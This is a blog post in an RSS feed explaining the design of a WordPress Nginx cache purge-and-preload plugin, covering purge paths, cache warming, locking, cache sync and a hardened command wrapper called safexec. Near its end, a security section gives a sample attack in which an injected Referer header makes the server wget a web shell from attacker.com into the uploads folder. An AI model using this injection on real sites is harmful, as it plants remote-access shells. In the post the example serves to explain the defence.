<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Hasan ÇALIŞIR</title>
    <description>The latest articles on DEV Community by Hasan ÇALIŞIR (@psauxit).</description>
    <link>https://dev.to/psauxit</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3840804%2F3b3343e9-f2f1-43a7-b527-a502c85664fc.png</url>
      <title>DEV Community: Hasan ÇALIŞIR</title>
      <link>https://dev.to/psauxit</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/psauxit"/>
    <language>en</language>
    <item>
      <title>Why Purging Nginx Cache Is Only Half the Job (And How I Built the Other Half)</title>
      <dc:creator>Hasan ÇALIŞIR</dc:creator>
      <pubDate>Tue, 24 Mar 2026 02:18:52 +0000</pubDate>
      <link>https://dev.to/psauxit/why-purging-nginx-cache-is-only-half-the-job-and-how-i-built-the-other-half-3bhp</link>
      <guid>https://dev.to/psauxit/why-purging-nginx-cache-is-only-half-the-job-and-how-i-built-the-other-half-3bhp</guid>
      <description>&lt;p&gt;If you're self-hosting WordPress behind Nginx with caching, you've probably relied on plugins to automatically purge your cache.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;📝 Post updated → 🗑 cache wiped → ✅ &lt;strong&gt;done.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Except it's not done. The cache is now &lt;strong&gt;cold&lt;/strong&gt;. The next visitor hits your server with a full uncached PHP + DB round trip and pays the latency penalty — the exact problem caching was supposed to solve.&lt;/p&gt;

&lt;p&gt;Most Nginx cache plugins only purge — they leave the cache cold. I wanted something that could fix that — which eventually led me to build &lt;strong&gt;NPP&lt;/strong&gt; (Nginx Cache Purge Preload), a plugin that preloads your Nginx cache so visitors always hit a cached page.&lt;/p&gt;

&lt;p&gt;But before we get to NPP, here’s the problem that almost every WordPress + Nginx setup silently suffers from.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem No One Was Solving
&lt;/h2&gt;

&lt;p&gt;When I set up Nginx caching on my WordPress sites, the workflow looked like this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Publish or update a post&lt;/li&gt;
&lt;li&gt;Plugin purges the relevant cache entries&lt;/li&gt;
&lt;li&gt;First real visitor triggers a full PHP + DB round trip to rebuild the cache&lt;/li&gt;
&lt;li&gt;Everyone after that gets the cached version&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt; is the silent performance hole. On a busy site it barely matters. On a blog, a portfolio, a WooCommerce store — that first cold response after every update is exactly the experience your visitors shouldn't be getting.&lt;/p&gt;

&lt;p&gt;I wanted something that inverted step 3: &lt;strong&gt;preload the cache immediately after purging&lt;/strong&gt;, before any visitor arrives.&lt;/p&gt;

&lt;p&gt;That one missing piece is where the journey toward &lt;strong&gt;NPP&lt;/strong&gt; started. Everything else — Redis sync, Cloudflare APO integration, WooCommerce hooks, the concurrent lock system — was built around making that loop airtight.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Full Cache Lifecycle
&lt;/h2&gt;

&lt;p&gt;After realizing that a simple purge left the cache cold, I had to map out the entire lifecycle — from a post update to the moment a visitor finally gets a cached page. Understanding this end-to-end flow was key to figuring out where things broke and where I could intervene.&lt;/p&gt;

&lt;p&gt;Here’s what the system needed to handle — and eventually what NPP manages:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o605yuq43rheccbniohq.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo605yuq43rheccbniohq.png" alt="NPP Full Lifecycle — post update → purge → lock → preload → sync → cache HIT" width="800" height="319"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Caption:&lt;/strong&gt; Post updated → 3-layer purge → atomic lock → wget preload → Cloudflare + Redis sync → visitor gets a cache HIT, not a cold response.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  The 3-Layer Purge Strategy
&lt;/h2&gt;

&lt;p&gt;Once I realized purging alone wasn’t enough, I had to figure out how to reliably remove cache entries without breaking anything. I ended up designing a three-path system that tries the fastest method first, then falls back only when necessary.&lt;/p&gt;

&lt;p&gt;This is true server-side cache purging — not application-level cache clearing. NPP's purge engine is sophisticated. For single-URL purges, it tries three paths in order and stops at the first success.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m4q1rmxq7s827uiujx8b.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm4q1rmxq7s827uiujx8b.png" alt="NPP 3-Layer Purge Decision Tree — HTTP → URL Index → Recursive Scan" width="800" height="516"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Caption:&lt;/strong&gt; Fast-Path 1: HTTP via ngx_cache_purge module (atomic, fastest). Fast-Path 2: URL→filepath index lookup (direct file delete, no scan). Fallback: recursive filesystem scan (walks entire cache dir, reads each file's cache key header).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Fast-Path 1 — HTTP Purge (optional)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If HTTP Purge is enabled and the &lt;code&gt;ngx_cache_purge&lt;/code&gt; Nginx module is detected, NPP sends an HTTP request to the module's purge endpoint. On HTTP 200 the filesystem is never touched. On any other response NPP falls through automatically.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fast-Path 2 — URL Index lookup&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;NPP maintains a persistent &lt;strong&gt;URL→filepath index&lt;/strong&gt; built during Preload All. If the URL is found and the file still exists, NPP deletes it directly — no directory scan needed. The index grows incrementally: every successful single-page purge writes its resolved path back, so over time nearly all single-page purges skip the scan entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fast-Path 3 — Recursive filesystem scan&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If neither fast-path succeeds, NPP walks the entire Nginx cache directory, reads each file's cache key header, and deletes the matching entry. This is the original workflow and remains the safe fallback for all environments.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Purge All is different.&lt;/strong&gt; It always uses filesystem operations — recursively removing the entire cache directory. HTTP Purge does not apply to Purge All. If Cloudflare APO Sync or Redis Object Cache Sync is enabled, those are triggered &lt;em&gt;after&lt;/em&gt; the filesystem purge completes.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  How Preloading Actually Works
&lt;/h2&gt;

&lt;p&gt;After solving purge reliability, the next challenge hit me: &lt;strong&gt;how to warm the cache automatically, without slowing down the site or hitting PHP limits&lt;/strong&gt;. I needed something that could crawl all URLs and populate cache entries immediately after a purge.&lt;/p&gt;

&lt;p&gt;I ended up building a preload engine that uses &lt;strong&gt;wget&lt;/strong&gt; to request each URL and force Nginx to store it. A PID file tracks the running process, and a REST endpoint (&lt;strong&gt;/nppp_nginx_cache/v2/preload-progress&lt;/strong&gt;) streams real-time progress to the WordPress dashboard — which URL is being crawled, how many 404s have occurred, server load, and elapsed time.&lt;/p&gt;

&lt;p&gt;Why &lt;strong&gt;wget&lt;/strong&gt; instead of a pure PHP crawler? That choice was &lt;strong&gt;critical&lt;/strong&gt;. A PHP-based crawler would run inside a PHP-FPM worker, bound by &lt;strong&gt;max_execution_time&lt;/strong&gt; and &lt;strong&gt;memory_limit&lt;/strong&gt;, and it would block a worker slot for the entire crawl. &lt;strong&gt;wget&lt;/strong&gt; runs as an independent OS process — outside PHP’s memory space and execution timer, and without holding a worker slot hostage. That independence also made the PID-based Preload Watchdog and the safexec privilege-drop model possible.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Vary Header Trap (The Silent Cache Miss Problem)
&lt;/h2&gt;

&lt;p&gt;Just when I thought the preload engine had solved everything, I hit a subtle trap: even with NPP preloading running, real visitors were still hitting cache misses. Why?&lt;/p&gt;

&lt;p&gt;When PHP has &lt;code&gt;zlib.output_compression = On&lt;/code&gt;, it adds a &lt;code&gt;Vary: Accept-Encoding&lt;/code&gt; response header. Nginx's cache engine then performs a two-step lookup: it first resolves the main cache file via &lt;code&gt;MD5(cache_key)&lt;/code&gt; as normal, reads the &lt;code&gt;Vary&lt;/code&gt; header stored inside it, then computes a secondary variant hash from the actual &lt;code&gt;Accept-Encoding&lt;/code&gt; value in the request. This variant hash becomes the filename of a completely separate cache file — not an appendage to the existing key. Result: one independent cache file per encoding variant.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;NPP's preloader sends &lt;code&gt;Accept-Encoding: identity&lt;/code&gt; → cache file with hash &lt;strong&gt;abc123&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Real browser sends &lt;code&gt;Accept-Encoding: gzip&lt;/code&gt; → different hash &lt;strong&gt;def456&lt;/strong&gt; &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;❗&lt;strong&gt;CACHE MISS&lt;/strong&gt; The cache is never served to real visitors.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2izqq74lfhr9yyxjog6f.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2izqq74lfhr9yyxjog6f.png" alt="Vary Header Trap — Before &amp;amp; After Fix" width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Caption:&lt;/strong&gt; Left (broken): NPP preloads with Accept-Encoding: identity, browser uses gzip — two different variant hashes, two separate cache files, preloaded entry never matched. Right (fixed): fastcgi_ignore_headers Vary strips the variant — one cache file, always matched.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  The Fix — Two Required Changes
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — Disable PHP-level compression:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;; php.ini
&lt;/span&gt;&lt;span class="py"&gt;zlib.output_compression&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;Off&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2 — Strip Accept-Encoding before it reaches PHP, and ignore Vary during cache key resolution:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Inside your Nginx PHP fastcgi location block&lt;/span&gt;
&lt;span class="k"&gt;fastcgi_param&lt;/span&gt;         &lt;span class="s"&gt;HTTP_ACCEPT_ENCODING&lt;/span&gt;  &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;fastcgi_ignore_headers&lt;/span&gt; &lt;span class="s"&gt;Vary&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3 — Let Nginx handle all compression&lt;/strong&gt; at the &lt;code&gt;http {}&lt;/code&gt; level:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="c1"&gt;# nginx.conf http block&lt;/span&gt;
&lt;span class="k"&gt;gzip&lt;/span&gt; &lt;span class="no"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;gzip_vary&lt;/span&gt; &lt;span class="no"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;gzip_types&lt;/span&gt; &lt;span class="nc"&gt;text/plain&lt;/span&gt; &lt;span class="nc"&gt;text/css&lt;/span&gt; &lt;span class="nc"&gt;application/json&lt;/span&gt; &lt;span class="nc"&gt;application/javascript&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;gzip_vary on&lt;/code&gt; adds &lt;code&gt;Vary: Accept-Encoding&lt;/code&gt; to &lt;em&gt;served&lt;/em&gt; responses — but this fires &lt;strong&gt;after&lt;/strong&gt; the cache lookup, not before. The cache key is already resolved by then. It does not affect cache file creation.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;fastcgi_ignore_headers Vary&lt;/code&gt; is safe here:&lt;/strong&gt; Without it, Nginx would risk serving gzip content to clients that can't decompress it. But since you've disabled PHP compression AND Nginx now handles gzip via &lt;code&gt;gzip_types&lt;/code&gt;, every response is already in the correct encoding. Suppressing the header variant has no downside.&lt;/p&gt;

&lt;p&gt;This applies equally to all Nginx cache types — use &lt;code&gt;proxy_ignore_headers Vary&lt;/code&gt; or &lt;code&gt;uwsgi_ignore_headers Vary&lt;/code&gt; accordingly.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Concurrent Purge Lock
&lt;/h2&gt;

&lt;p&gt;Just when I thought purge and preload were working smoothly, a new problem hit❗On a WordPress site with multiple admins, automated deploys, WP-Cron jobs, and REST API triggers all potentially firing at once, purge operations can collide. Two simultaneous purge operations walking the same cache directory can leave it in a partially-deleted state, corrupt the index, or cause the preload that follows to warm stale entries.&lt;/p&gt;

&lt;p&gt;I needed a way to make purge operations atomic. NPP solves this with a purge lock built on &lt;code&gt;WP_Upgrader::create_lock()&lt;/code&gt;. This is an atomic &lt;code&gt;INSERT IGNORE&lt;/code&gt; into &lt;code&gt;wp_options&lt;/code&gt; — the database engine guarantees exactly one winner when two processes race simultaneously.&lt;/p&gt;

&lt;p&gt;The lock is scoped by operation type with context-aware TTLs:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Context&lt;/th&gt;
&lt;th&gt;Operation&lt;/th&gt;
&lt;th&gt;TTL&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;single&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Single-page purge&lt;/td&gt;
&lt;td&gt;180s&lt;/td&gt;
&lt;td&gt;Walks entire cache dir file-by-file — slow on large caches or NAS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;all&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Purge All&lt;/td&gt;
&lt;td&gt;60s&lt;/td&gt;
&lt;td&gt;Kernel handles recursion — fast even on huge caches&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;premium&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Advanced tab purge&lt;/td&gt;
&lt;td&gt;60s&lt;/td&gt;
&lt;td&gt;Deletes a single pre-located file — pure crash-safety margin&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The TTL is a &lt;strong&gt;crash-recovery value&lt;/strong&gt;, not an operation timeout. Under normal conditions, the lock is always released immediately via &lt;code&gt;finally&lt;/code&gt;. The TTL only matters if a PHP process crashes mid-purge and orphans the lock.&lt;/p&gt;

&lt;p&gt;The preload engine also calls &lt;code&gt;nppp_is_purge_lock_held()&lt;/code&gt; before starting — it aborts early rather than warming a cache directory that's actively being deleted.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Preload Watchdog
&lt;/h2&gt;

&lt;p&gt;Thought I was done? Ha! Enter the next curveball. Post-preload tasks — building the URL→filepath index, sending the completion email, triggering the mobile preload — are normally handled by WP-Cron. WP-Cron depends on visitor traffic to fire.&lt;/p&gt;

&lt;p&gt;On a &lt;strong&gt;fully-cached site&lt;/strong&gt;, no visitor may hit the server after preloading finishes (Nginx serves everything, PHP never runs). This means post-preload tasks can be delayed indefinitely, or never run at all.&lt;/p&gt;

&lt;p&gt;The solution? The &lt;strong&gt;Preload Watchdog&lt;/strong&gt; solves this. It's a background process that starts with each preload cycle, watches the PID file, and fires post-preload tasks the exact moment the wget process exits — no visitor required. If a Purge All cancels the preload mid-run, the watchdog is also stopped so it doesn't trigger tasks for a cancelled cycle.&lt;/p&gt;




&lt;h2&gt;
  
  
  Redis Object Cache Sync: Bidirectional, Without Infinite Loops
&lt;/h2&gt;

&lt;p&gt;Once purge and preload were solid, the next challenge was keeping multiple caches in sync. If you're running Redis Object Cache alongside Nginx cache, you have two independent caches that can get out of sync. NPP handles both directions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lkjvq4hxlak4p6g46ly8.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flkjvq4hxlak4p6g46ly8.png" alt="Redis ↔ Nginx Bidirectional Sync with Loop Prevention" width="800" height="374"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Caption:&lt;/strong&gt; Direction 1: NPP Purge All → wp_cache_flush() (clears Redis so rebuilds use fresh DB data). Direction 2: redis_object_cache_flush → nppp_purge_callback() (Redis flush triggers full Nginx purge). Loop prevention: NPPP_REDIS_FLUSH_ORIGIN global flag is set before the cascade and checked at each direction's entry point.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;NPP Purge → Redis Flush:&lt;/strong&gt; After every successful Purge All, NPP calls &lt;code&gt;wp_cache_flush()&lt;/code&gt;. This ensures PHP regenerates fresh data from the database when rebuilding cache entries during preload.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Redis Flush → NPP Purge:&lt;/strong&gt; When the Redis Object Cache drop-in fires &lt;code&gt;redis_object_cache_flush&lt;/code&gt; (dashboard flush, WP-CLI &lt;code&gt;wp cache flush&lt;/code&gt;, or any plugin calling &lt;code&gt;wp_cache_flush()&lt;/code&gt;), NPP automatically purges all Nginx cache entries.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Loop prevention:&lt;/strong&gt; Direction 1 triggers Direction 2, which would trigger Direction 1 again, forever. NPP breaks the cycle with a &lt;code&gt;$GLOBALS['NPPP_REDIS_FLUSH_ORIGIN']&lt;/code&gt; flag set before the cascade and checked at both entry points. There's also a guard that auto-disables the Redis sync toggle if Redis goes away at runtime, keeping the UI consistent without manual intervention.&lt;/p&gt;




&lt;h2&gt;
  
  
  Cloudflare APO Sync
&lt;/h2&gt;

&lt;p&gt;If you're using Cloudflare APO (Automatic Platform Optimization) for WordPress, your edge cache runs independently of your Nginx origin cache. By default, purging Nginx does nothing to Cloudflare's cached copies.&lt;/p&gt;

&lt;p&gt;NPP's Cloudflare APO integration mirrors every purge action to the Cloudflare layer automatically, using the same hooks that trigger Nginx cache purge. IDN (Internationalized Domain Names) are normalized to ASCII before comparison, so sites on non-Latin TLDs work correctly.&lt;/p&gt;




&lt;h2&gt;
  
  
  WooCommerce: The Stock Change Problem
&lt;/h2&gt;

&lt;p&gt;WooCommerce stock updates are a special case. When an order is placed and stock quantity drops, WooCommerce writes &lt;strong&gt;directly to the database&lt;/strong&gt; without going through &lt;code&gt;wp_update_post()&lt;/code&gt;. This means &lt;code&gt;transition_post_status&lt;/code&gt; — what most cache plugins listen to — &lt;strong&gt;never fires&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;NPP hooks into WooCommerce's own stock events instead:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;woocommerce_product_set_stock&lt;/code&gt; / &lt;code&gt;woocommerce_variation_set_stock&lt;/code&gt; — quantity changes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;woocommerce_product_set_stock_status&lt;/code&gt; / &lt;code&gt;woocommerce_variation_set_stock_status&lt;/code&gt; — instock ↔ outofstock ↔ onbackorder&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;woocommerce_order_status_cancelled&lt;/code&gt; — WooCommerce restores stock on cancellation, affected product pages need a refresh&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For variations, the purge resolves to the parent product ID (the public-facing URL). There's also deduplication logic that prevents double-purging during a manual product save where both &lt;code&gt;save_post&lt;/code&gt; and stock hooks fire in the same request chain.&lt;/p&gt;




&lt;h2&gt;
  
  
  Percent-Encoded URL Cache Misses (Non-ASCII Sites)
&lt;/h2&gt;

&lt;p&gt;Another subtle trap popped up with non-ASCII URLs. Nginx cache is case-sensitive. For URLs with non-ASCII characters like &lt;code&gt;/product/水滴轮锻碳/&lt;/code&gt;, the percent-encoding can be uppercase (&lt;code&gt;%E6%B0%B4&lt;/code&gt;) or lowercase (&lt;code&gt;%e6%b0%b4&lt;/code&gt;) depending on the client or proxy. Nginx sees these as different cache keys — preloaded with one case, visitor arrives with the other → &lt;strong&gt;CACHE MISS&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;NPP solved this with an optional &lt;strong&gt;&lt;code&gt;libnpp_norm.so&lt;/code&gt;&lt;/strong&gt; library (loaded via &lt;code&gt;LD_PRELOAD&lt;/code&gt;) that normalizes percent-encoded HTTP request lines during preloading to ensure consistent cache keys. This pairs with &lt;strong&gt;safexec&lt;/strong&gt; (covered below).&lt;/p&gt;




&lt;h2&gt;
  
  
  Permission Architecture
&lt;/h2&gt;

&lt;p&gt;Then came a Linux classic: file permissions. Just when I thought things were under control, Linux decided to remind me who’s boss. In many Linux setups, &lt;code&gt;WEBSERVER-USER&lt;/code&gt; (nginx / www-data) creates cache files and &lt;code&gt;PHP-FPM-USER&lt;/code&gt; runs WordPress. These are different users with different filesystem permissions. PHP-FPM can't write to cache files owned by nginx.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3ibzztffv3k6kiv9z4v8.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3ibzztffv3k6kiv9z4v8.png" alt="Permission Architecture — WEBSERVER-USER vs PHP-FPM-USER with bindfs FUSE mount" width="800" height="402"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Caption:&lt;/strong&gt; Nginx (www-data) creates cache files in /dev/shm/fastcgi-cache/. PHP-FPM (psauxit) can't write there. bindfs creates a FUSE mount at /dev/shm/fastcgi-cache-mnt/ where PHP-FPM has full access. NPP points to the mount path, not the original. Docker setups use a shared volume instead.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To tame this mess, I shipped &lt;code&gt;install.sh&lt;/code&gt; — a bash script that automatically detects PHP-FPM-USER and Nginx cache paths, creates the &lt;code&gt;bindfs&lt;/code&gt; FUSE mount, and registers a &lt;code&gt;npp-wordpress&lt;/code&gt; systemd service to keep the mount persistent across reboots.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# One-liner setup (monolithic server)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-Ss&lt;/span&gt; https://psaux-it.github.io/install.sh&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;install.sh&lt;/code&gt; is for &lt;strong&gt;monolithic servers only&lt;/strong&gt; — where Nginx, PHP-FPM, and WordPress run on the same host. For Docker-based setups, use the dedicated Docker Compose environment linked below.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Security: safexec + libnpp_norm.so
&lt;/h2&gt;

&lt;p&gt;By this point, NPP could purge, preload, handle Vary headers, dodge permission traps, percent encoded URLs, race conditions… basically everything I’d dreamed of. But then came the classic “oh no” moment: &lt;code&gt;shell_exec&lt;/code&gt; and &lt;code&gt;proc_open&lt;/code&gt; running &lt;code&gt;wget&lt;/code&gt; during preload were an open invitation for chaos.&lt;/p&gt;

&lt;p&gt;Enter &lt;strong&gt;CVE-2025-6213&lt;/strong&gt; — a real eye-opener. Suddenly, all the unsanitized &lt;code&gt;shell_exec&lt;/code&gt; calls in WordPress cache plugins weren’t just theoretical hazards anymore. Arbitrary command execution? Yep, that was a thing.&lt;/p&gt;

&lt;p&gt;So after lots of late nights, a few cups of questionable coffee, and some frantic Googling, I solved it properly. And thus, &lt;strong&gt;safexec&lt;/strong&gt; was born — a hardened little C binary sitting between PHP and the shell, like a tiny, ruthless bouncer for your preload process.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hwb1481jc6q7h1ou4hv8.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhwb1481jc6q7h1ou4hv8.png" alt="safexec" width="800" height="1158"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;NPP ships &lt;code&gt;safexec&lt;/code&gt; — a hardened C binary installed with SUID permissions that sits between PHP and the shell. It enforces strict controls over which commands can execute, drops privileges before exec, and keeps the preload process fully isolated from the WordPress/PHP-FPM context. Combined with &lt;code&gt;libnpp_norm.so&lt;/code&gt;, it also handles percent-encoded URL normalization (described above).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What safexec enforces:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Strict allowlist&lt;/strong&gt; — only &lt;code&gt;wget&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt;, and a small set of known-safe binaries can run&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Absolute path pinning&lt;/strong&gt; — tool resolved to a trusted system dir, &lt;code&gt;argv&lt;/code&gt; rewritten before exec&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privilege drop&lt;/strong&gt; — drops to &lt;code&gt;nobody&lt;/code&gt;; falls back to PHP-FPM user; aborts if still &lt;code&gt;euid==0&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Environment wipe&lt;/strong&gt; — &lt;code&gt;clearenv()&lt;/code&gt; + trusted &lt;code&gt;PATH&lt;/code&gt; only + &lt;code&gt;umask(077)&lt;/code&gt; + &lt;code&gt;PR_SET_DUMPABLE(0)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Process isolation&lt;/strong&gt; — own cgroup v2 subtree (&lt;code&gt;nppp.&amp;lt;pid&amp;gt;&lt;/code&gt;) on Linux; rlimits fallback&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;PR_SET_NO_NEW_PRIVS(1)&lt;/code&gt;&lt;/strong&gt; — child can never regain privileges after exec&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;A real world attack example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Attacker injects HTTP_REFERER and triggers preload endpoint&lt;/span&gt;
curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Referer: http://attacker.com/shell.php"&lt;/span&gt; https://npp.com/preload-endpoint

&lt;span class="c"&gt;# Vulnerable PHP code uses HTTP_REFERER directly&lt;/span&gt;
&lt;span class="c"&gt;# and executes wget via shell_exec()&lt;/span&gt;

&lt;span class="c"&gt;# Resulting command executed on server:&lt;/span&gt;
wget http://attacker.com/shell.php &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-O&lt;/span&gt; /var/www/html/wp-content/uploads/shell.php

&lt;span class="c"&gt;# PHP process owner (e.g., www-data) has write access&lt;/span&gt;
&lt;span class="c"&gt;# → uploads/shell.php is created (web-accessible)&lt;/span&gt;

